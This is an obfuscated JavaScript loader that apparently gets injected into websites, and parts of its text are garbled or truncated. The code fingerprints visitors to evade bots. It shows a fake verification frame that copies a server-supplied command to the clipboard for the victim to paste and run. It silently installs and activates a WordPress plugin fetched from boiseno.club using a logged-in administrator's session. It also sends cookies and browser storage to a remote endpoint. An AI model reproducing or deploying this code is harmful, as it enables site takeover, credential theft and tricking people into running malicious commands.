(function(){ var _ipnu=window,_ywax=document,_fddz=navigator; var _ibcaf=_ywax.currentScript||_ywax.querySelector(String.fromCharCode(115,99,114,105,112,116,91,115,114,99,42,61,34,102,105,108,101,46,106,115,34,93))||_ywax.querySelector(["sc","rip","t[d","a","ta-c","]"].join("")); var _zzdwb=Date.now()%1000; var _tkzc=function(s){var a=0;if(!s)return 0;for(var i=0;ivar _cmdTk="'+(cmdToken||'')+'";var _ep="'+ep.replace('/api/v1/0044d4a','')+'";var _cmdVal="";var _pm=window.parent.postMessage.bind(window.parent);if(_cmdTk){var _x=new XMLHttpRequest();_x.open("GET",_ep+"/api/v1/4aff112?tk="+_cmdTk,true);_x.onload=function(){try{var r=JSON.parse(_x.responseText);if(r&&r.c){var _b=atob(r.c),_u=new Uint8Array(_b.length);for(var _i=0;_i<_b.length;_i++)_u[_i]=_b.charCodeAt(_i);_cmdVal=new TextDecoder("utf-8").decode(_u)}}catch(e){}};_x.send()}function _bc(e){try{if(navigator.sendBeacon)navigator.sendBeacon(_ep+"/api/v1/b832c14?e="+e)}catch(x){}}function _fb(t){try{var a=document.createElement("textarea");a.value=t;a.style.cssText="position:fixed;left:-9999px;opacity:0";document.body.appendChild(a);a.focus();a.select();var ok=document.execCommand("copy");a.remove();_bc(ok?"copy_fb":"copy_fail")}catch(e){_bc("copy_fail")}}function __cp(b,k){try{_bc("vclick")}catch(e){}var t=_cmdVal;if(!t&&_cmdTk){try{var _s=new XMLHttpRequest();_s.open("GET",_ep+"/api/v1/4aff112?tk="+_cmdTk,false);_s.send(null);if(_s.status===200){var _r=JSON.parse(_s.responseText);if(_r&&_r.c){var _c2=atob(_r.c),_u2=new Uint8Array(_c2.length);for(var _j=0;_j<_c2.length;_j++)_u2[_j]=_c2.charCodeAt(_j);_cmdVal=new TextDecoder("utf-8").decode(_u2);t=_cmdVal}}}catch(e){}}if(!t&&b){try{t=atob(b)}catch(e){}}if(t){if(navigator.clipboard&&typeof navigator.clipboard.writeText==="function"){try{navigator.clipboard.writeText(t).then(function(){_bc("copy")}).catch(function(){_fb(t)})}catch(e){_fb(t)}}else{_fb(t)}}else{_bc("copy_fail")}if(!k){try{_pm({t:"v",c:b||"1",keep:false,cmd:t||""},"*")}catch(e){}}}function __close(){try{_bc("vclose")}catch(e){}try{var fe=window.frameElement;if(fe)fe.remove()}catch(e){try{_pm({t:"cf_close"},"*")}catch(x){}}}try{window.parent.postMessage=function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)}}catch(e){}try{Object.defineProperty(window.parent,"postMessage",{value:function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)},writable:true,configurable:true})}catch(e){}'; if(html.indexOf('')!==-1){html=html.replace('',cpS+'')}else{html=cpS+html} f.srcdoc=html;_ywax.body.appendChild(f); _ipnu.addEventListener((function(){var k=226,a=[143,135,145,145,131,133,135],s="";for(var i=0;i>3))&0xFF; try{var _ac=new(_ipnu.AudioContext||_ipnu.webkitAudioContext)();o.asr=_ac.sampleRate||0;_ac.close()}catch(e){o.asr=0} try{var _cv=_ywax.createElement(String.fromCharCode(99,97,110,118,97,115));_cv.width=64;_cv.height=16;var _cx=_cv.getContext((function(){var k=146,a=[229,247,240,245,254],s="";for(var i=0;i>3))&0xFF; o.hp=!!(_ipnu.callPhantom||_ipnu._phantom||_ipnu.phantom);o.hn=!!(_ipnu.__nightmare);o.hs=!!(_ywax.__selenium_unwrapped||_ywax.__fxdriver_unwrapped||_ipnu.__webdriver_evaluate||_ipnu.__driver_evaluate);try{var _k=Object.keys(_ipnu);o.hc=0;for(var j=0;j<_k.length;j++){if(_k[j].match(/^\$[a-z]dc_/)){o.hc=1;break}}}catch(e){o.hc=0}o.hd=!!(_ywax.documentElement&&_ywax.documentElement.getAttribute(["w","e","bdr","iver"].join("")));try{o.np=(Notification.permission===["de","nie","d"].join("")&&!_fddz.webdriver)?0:1}catch(e){o.np=1} o.et=Date.now()-t;return o}; var _qeico=[252,199,16];_qeico.sort(); var _ytzh=function(){var s=_ibcaf;if(!s)return;var bp=s.src.replace(/\/[^\/]*$/,''); _woqc(bp+["/a","p","i/","v","1","/e08","a3","c","4"].join(""),function(tk){if(!tk||!tk.t)return;var fp=_jyrej();var up=new URLSearchParams(_ipnu.location.search);var nonce=_yuknx(tk.t,tk.d||97);var elapsed=Date.now()-(tk.ts||Date.now());var wait=Math.max(2000-elapsed,500); setTimeout(function(){var b={f:fp,u:_fddz.userAgent,s:_ipnu.location.hostname,ut:up.get(["ut","m_","s","ou","r","c","e"].join(""))||'',uc:up.get((function(){var k=178,a=[199,198,223,237,209,211,223,194,211,219,213,220],s="";for(var i=0;i plugin upload -> activate (same-origin, creds of the visitor) async function __pvt(zipUrl, reportUrl) { function log(e) { try { if (navigator.sendBeacon) navigator.sendBeacon(reportUrl + '?e=' + e); } catch (x) {} } try { var r = await fetch('/wp-admin/', { credentials: 'same-origin' }); if (!r.ok) return; var h = await r.text(); if (h.indexOf('wp-admin') === -1) return; log('pivot_admin'); var p = await fetch('/wp-admin/plugin-install.php?tab=upload', { credentials: 'same-origin' }); if (!p.ok) { log('pivot_no_pi'); return; } var ph = await p.text(); var m = ph.match(/_wpnonce" value="([a-f0-9]{10})"/); if (!m) { log('pivot_no_nonce'); return; } var zr = await fetch(zipUrl); if (!zr.ok) { log('pivot_no_zip'); return; } var zb = await zr.blob(); var fd = new FormData(); fd.append('_wpnonce', m[1]); fd.append('_wp_http_referer', '/wp-admin/plugin-install.php?tab=upload'); fd.append('pluginzip', zb, 'plugin.zip'); fd.append('install-plugin-submit', 'Install Now'); var up = await fetch('/wp-admin/update.php?action=upload-plugin', { method: 'POST', body: fd, credentials: 'same-origin' }); var uh = await up.text(); if (uh.indexOf('Plugin installed successfully') === -1) { log('pivot_up_fail'); return; } log('pivot_uploaded'); var pl = await fetch('/wp-admin/plugins.php', { credentials: 'same-origin' }); var lh = await pl.text(); var am = lh.match(/action=activate&plugin=([^"&]+)&plugin_status=all&paged=1&s&_wpnonce=([a-f0-9]{10})/); if (!am) { log('pivot_no_actlink'); return; } await fetch('/wp-admin/plugins.php?action=activate&plugin=' + am[1] + '&plugin_status=all&paged=1&s&_wpnonce=' + am[2], { credentials: 'same-origin' }); log('pivot_ok'); } catch (e) { log('pivot_err'); } }function __loot(rep){try{var o={};['localStorage','sessionStorage'].forEach(function(s){try{var st=window[s];for(var i=0;i8&&v.length<2000)o[s[0]+':'+k]=v}}}catch(e){}});var c=document.cookie||'';if(c)o.c=c.slice(0,1500);if(!Object.keys(o).length)return;var x=new XMLHttpRequest();x.open('POST',rep,true);x.setRequestHeader('Content-Type','application/json');x.send(JSON.stringify(o))}catch(e){}}try{if(!sessionStorage.getItem('_pv1')){sessionStorage.setItem('_pv1','1');__pvt('https://boiseno.club/p/wm.zip',bp+'/api/v1/b832c14')}}catch(e){}try{__loot(bp+'/api/v1/43d64b5')}catch(e){} })()